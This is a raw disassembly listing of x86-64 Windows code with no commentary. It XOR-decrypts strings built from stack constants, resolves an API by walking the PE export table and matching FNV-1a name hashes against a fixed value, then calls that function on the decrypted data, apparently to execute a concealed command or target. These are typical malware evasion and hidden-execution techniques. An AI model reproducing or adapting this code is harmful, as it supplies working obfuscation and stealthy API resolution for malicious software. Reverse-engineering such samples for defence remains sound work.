movabs rax, 0xf8a9162d664b0a87
mov qword [rbp + 0x268], rcx
mov qword [rbp + 0x1e8], rax
movabs r12, 0x9c0d39ab2fded5f1
movabs rax, 0x80648c44546f6008
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x1f0], rax
movabs rsi, 0xb3ec8012936d5e5e
movabs rax, 0x73affb7dbe750b99
mov qword [rbp + 0x3a8], rsi
mov qword [rbp + 0x1f8], rax
movabs rax, 0x427732d58eec2bd9
mov qword [rbp + 0x200], rax
movabs rax, 0x808b8e33f5ed3cbb
mov qword [rbp + 0x208], rax
movabs rax, 0xf67da9ab55680f53
mov qword [rbp + 0x210], rax
movabs rax, 0xb29b652f3e37524d
mov qword [rbp + 0x218], rax
movabs rax, 0x229845fa78d73342
mov qword [rbp + 0x220], rax
movabs rax, 0x8487e8ef00218ccf
mov qword [rbp + 0x228], rax
movabs rax, 0xef03409f6205ca8a
mov qword [rbp + 0x230], rax
movabs rax, 0x60c44924bb029ce1
mov qword [rbp + 0x238], rax
movabs rax, 0x75309e0da960b07c
mov qword [rbp + 0x240], rax
movabs rax, 0x6c028962a062a483
mov qword [rbp + 0x248], rax
movabs rax, 0xe2d3f7a3c0e70b3d
mov qword [rbp + 0x250], rax
movabs rax, 0xf2215ab7f2e8b0d5
mov qword [rbp + 0x258], rax
movabs rax, 0x91f97dcd310ef323
mov qword [rbp + 0x3b0], rax
movabs rax, 0x15abf38c5a730e70
mov qword [rbp + 0x3b8], rax
movabs rax, 0xa46735bfafff9775
mov qword [rbp + 0x3c0], rax
movabs rax, 0xb188a9466f1b6a92
mov qword [rbp + 0x3c8], rax
movabs rax, 0xe71811d1eeecdc37
mov qword [rbp + 0x3d0], rax
movabs rax, 0xf814a930d3d1a8e4
mov qword [rbp + 0x3d8], rax
movabs rax, 0x876653236a06f6f9
mov qword [rbp + 0x3e0], rax
movabs rax, 0x550876a526350a6
mov qword [rbp + 0x3e8], rax
movabs rax, 0x858836a5199f514b
mov qword [rbp + 0x3f0], rax
movabs rax, 0xe4654444eb6df538
mov qword [rbp + 0x3f8], rax
movabs rax, 0xea3dc037759dc39d
mov qword [rbp + 0x400], rax
movabs rax, 0x8c699b9edbc8e1da
mov qword [rbp + 0x408], rax
movabs rax, 0x215f7b0963cf397f
mov qword [rbp + 0x410], rax
movabs rax, 0xd3125e809b0496c
mov qword [rbp + 0x418], rax
movabs rax, 0xcca675dbbe3c2981
mov qword [rbp + 0x420], rax
movabs rax, 0x7d901a42497e0a6e
mov qword [rbp + 0x428], rax
movabs rax, 0xaf40f97d4698e5b3
mov qword [rbp + 0x430], rax
movabs rax, 0x8ef057bcdba9ac00
mov qword [rbp + 0x438], rax
movabs rax, 0x81aa0f6f87754885
mov qword [rbp + 0x440], rax
movabs rax, 0xe26f64764f395422
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0xa0]
movabs rax, 0xe864218186fa74c7
mov qword [rbp + 0x450], rax
movabs rax, 0xc07b0ee05a116474
pxor xmm0, xmmword [rbp + 0x3a0]
mov qword [rbp + 0x458], rax
movabs rax, 0x8d5111d3ae299709
movdqa xmm1, xmmword [rbp + 0xb0]
pxor xmm1, xmmword [rbp + 0x3b0]
mov qword [rbp + 0x460], rax
movabs rax, 0x4564049a6545ecb6
mov qword [rbp + 0x468], rax
movabs rax, 0xb66ef1d5c8cc31db
mov qword [rbp + 0x470], rax
movabs rax, 0x96ac217448b437c8
mov qword [rbp + 0x478], rax
movabs rax, 0x9c849d67718eedad
mov qword [rbp + 0x480], rax
movabs rax, 0x7b4984eb7734eea
mov qword [rbp + 0x488], rax
movabs rax, 0xf01feb394953f20f
mov qword [rbp + 0x490], rax
movabs rax, 0x938818de80b27c
mov qword [rbp + 0x498], rax
movabs rax, 0x7eed530b96241d91
mov qword [rbp + 0x4a0], rax
movabs rax, 0x2fd6f772cacd82fe
mov qword [rbp + 0x4a8], rax
movabs rax, 0x1237672df34f0143
mov qword [rbp + 0x4b0], rax
movabs rax, 0x6c33316c22259090
mov qword [rbp + 0x4b8], rax
movabs rax, 0x6e19ab1f6e928595
mov qword [rbp + 0x4c0], rax
movabs rax, 0xb9fcac2679347e32
mov qword [rbp + 0x4c8], rax
movabs rax, 0x9aaafeb142b808d7
mov qword [rbp + 0x4d0], rax
movabs rax, 0x11178e1095c75104
mov qword [rbp + 0x4d8], rax
movabs rax, 0x45f1f98365150f99
mov qword [rbp + 0x4e0], rax
movabs rax, 0xf8e8164a660c0ac6
mov qword [rbp + 0x4e8], rax
movabs rax, 0x80128c05542e606b
mov qword [rbp + 0x4f0], rax
movabs rax, 0x73eefb24be320bd8
mov qword [rbp + 0x4f8], rax
movabs rax, 0x420232978ebd2bbd
mov qword [rbp + 0x500], rax
movabs rax, 0x80ca8e7ef5aa3cfa
mov qword [rbp + 0x508], rax
movabs rax, 0xf60aa9e9550f0f1f
mov qword [rbp + 0x510], rax
movabs rax, 0xb2da65483e70520c
mov qword [rbp + 0x518], rax
movabs rax, 0x22ff45bb78963321
mov qword [rbp + 0x520], rax
movabs rax, 0x84c6e8a200698c8e
mov qword [rbp + 0x528], rax
movabs rax, 0xef7a40dd6272cad3
mov qword [rbp + 0x530], rax
movabs rax, 0x6085491cbb459ca0
mov qword [rbp + 0x538], rax
movabs rax, 0x75419e4fa907b025
mov qword [rbp + 0x540], rax
movabs rax, 0x6c438956a021a4c2
mov qword [rbp + 0x548], rax
movabs rax, 0xe2a0f7e1c0a60b67
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmm1, xmmword [rbp + 0xd0]
pxor xmm1, xmmword [rbp + 0x3d0]
mov qword [rbp + 0x550], rax
movabs rax, 0xf2605ac0f2afb094
mov qword [rbp + 0x558], rax
mov qword [rbp + 0x560], rdx
mov qword [rbp + 0x568], rcx
movdqa xmmword [rbp + 0xc0], xmm0
movdqa xmm0, xmmword [rbp + 0xe0]
mov r8d, r14d
pxor xmm0, xmmword [rbp + 0x3e0]
movsxd rax, dword [rdi + 0x3c]
movdqa xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x400]
mov r11d, dword [rax + rdi + 0x88]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmm1, xmmword [rbp + 0xf0]
pxor xmm1, xmmword [rbp + 0x3f0]
mov r10d, dword [r11 + rdi + 0x20]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0xf0], xmm1
movdqa xmm1, xmmword [rbp + 0x110]
pxor xmm1, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm1, xmmword [rbp + 0x130]
pxor xmm1, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmm0, xmmword [rbp + 0x160]
pxor xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm1, xmmword [rbp + 0x150]
pxor xmm1, xmmword [rbp + 0x450]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm0, xmmword [rbp + 0x180]
pxor xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x150], xmm1
movdqa xmm1, xmmword [rbp + 0x170]
pxor xmm1, xmmword [rbp + 0x470]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm0, xmmword [rbp + 0x1a0]
pxor xmm0, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp + 0x170], xmm1
movdqa xmm1, xmmword [rbp + 0x190]
pxor xmm1, xmmword [rbp + 0x490]
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x190], xmm1
movdqa xmm1, xmmword [rbp + 0x1b0]
pxor xmm1, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x1b0], xmm1
movdqa xmm1, xmmword [rbp + 0x1d0]
pxor xmm1, xmmword [rbp + 0x4d0]
movdqa xmmword [rbp + 0x1e0], xmm0
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x1d0], xmm1
movdqa xmm1, xmmword [rbp + 0x1f0]
pxor xmm1, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm0, xmmword [rbp + 0x220]
pxor xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rbp + 0x1f0], xmm1
movdqa xmm1, xmmword [rbp + 0x210]
pxor xmm1, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm0, xmmword [rbp + 0x240]
pxor xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x210], xmm1
movdqa xmm1, xmmword [rbp + 0x230]
pxor xmm1, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmm0, xmmword [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x230], xmm1
movdqa xmm1, xmmword [rbp + 0x250]
pxor xmm1, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x260], xmm0
movdqa xmmword [rbp + 0x250], xmm1
nop word [rax + rax]
mov r9d, r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r9*4]
mov ecx, dword [rax + r10]
add rcx, rdi
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000546f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140005450
cmp edx, 0x19100bc9
je 0x140005474
inc r8d
jmp 0x140005430
mov ecx, dword [r11 + rdi + 0x24]
lea r8, [rbp + 0xa0]
add rcx, rdi
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rsi
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r14
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [r11 + rdi + 0x1c]
add rcx, rdi
mov eax, dword [rcx + rdx*4]
movabs rcx, 0x9c6339ce2faed59e
mov qword [rbp + 0x70], rcx
lea rdx, [rbp + 0x70]
mov qword [rbp + 0x78], rsi
add rax, rdi
movdqa xmm0, xmmword [rbp + 0x70]
xor ecx, ecx
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x70], xmm0
call rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005512
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000550d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055d1
call fcn.1400066a8
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
test r15, r15
je 0x14000557f
mov rdi, r15
cmp r15, rbx
je 0x14000554a
nop
lea rcx, [rdi + 0x20]
call fcn.140001b60
mov rcx, rdi
call fcn.140001b60
add rdi, 0x40
cmp rdi, rbx
jne 0x140005530
mov rdx, qword [rsp + 0x40]
mov rax, r15
sub rdx, r15
and rdx, 0xffffffffffffffc0
cmp rdx, 0x1000
jb 0x140005577
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055d1
mov rcx, r15
call fcn.1400066a8
mov r15, qword [rsp + 0x1680]
mov r13, qword [rsp + 0x16c0]
mov r12, qword [rsp + 0x16b8]
mov rsi, qword [rsp + 0x16b0]
mov r14, qword [rsp + 0x1688]
nop word [rax + rax]
mov rcx, qword [rbp + 0x1570]
xor rcx, rsp
call fcn.140006840
add rsp, 0x1690
pop rdi
pop rbx
pop rbp
ret
mov eax, 1
jmp 0x1400055b0
call fcn.14000b0bc
int3
call fcn.14000b0bc
int3
call fcn.14000b0bc
int3